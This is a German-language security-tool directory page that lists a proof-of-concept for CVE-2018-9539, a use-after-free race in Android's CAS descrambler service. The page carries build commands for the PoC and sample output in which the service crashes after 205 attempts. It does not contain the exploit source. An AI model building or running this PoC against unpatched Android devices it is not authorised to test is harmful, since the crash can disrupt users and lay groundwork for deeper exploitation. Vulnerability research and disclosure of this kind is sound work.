Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-9539 — PoC-Code für CVE-2018-9539 | Kitploit
Tools/GitHubGitHub/tamirzb/cve-2018-9539
Android-SicherheitSchwachstellenanalyseExploitationMobile SicherheitBinary-Exploitation
GitHubtamirzb/cve-2018-9539

CVE-2018-9539

PoC-Code für CVE-2018-9539

Repository anzeigen
2092vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-9539

Proof-of-concept-Code für CVE-2018-9539

Bei Fragen können Sie mich gerne per Direktnachricht auf Twitter kontaktieren (@tamir_zb).

Erstellen

Um dies zu erstellen:

  1. Laden Sie den Android-Quellcode herunter.
  2. Legen Sie dieses Repository in AOSP/external ab.
  3. Führen Sie die folgenden Befehle aus:
root@kitploit:~
cd AOSP
source build/envsetup.sh
make cas_race_uaf

Ergebnis

Die Ausführung dieses PoC auf einer ungepatchten Version von Android (8.1-9.0 vor November 2018) sollte zu einem use-after-free führen. Beachten Sie, dass dieser PoC nicht wirklich für die Ausführung auf Android 8.1 vorgesehen ist, da er erwartet, dass der UaF den Dienst zum Absturz bringt, was nur unter Android 9.0 passiert. Die Ausführung dieses PoC auf Android 8.1 führt daher zu einer Endlosschleife.

Hier ist eine Beispielausgabe der Ausführung dieses PoC unter Android 9.0:

root@kitploit:~
Objects prepared

Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...

Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...

...
...
...

Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...

Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)

Succeeded in 205 attempts
Tool herunterladen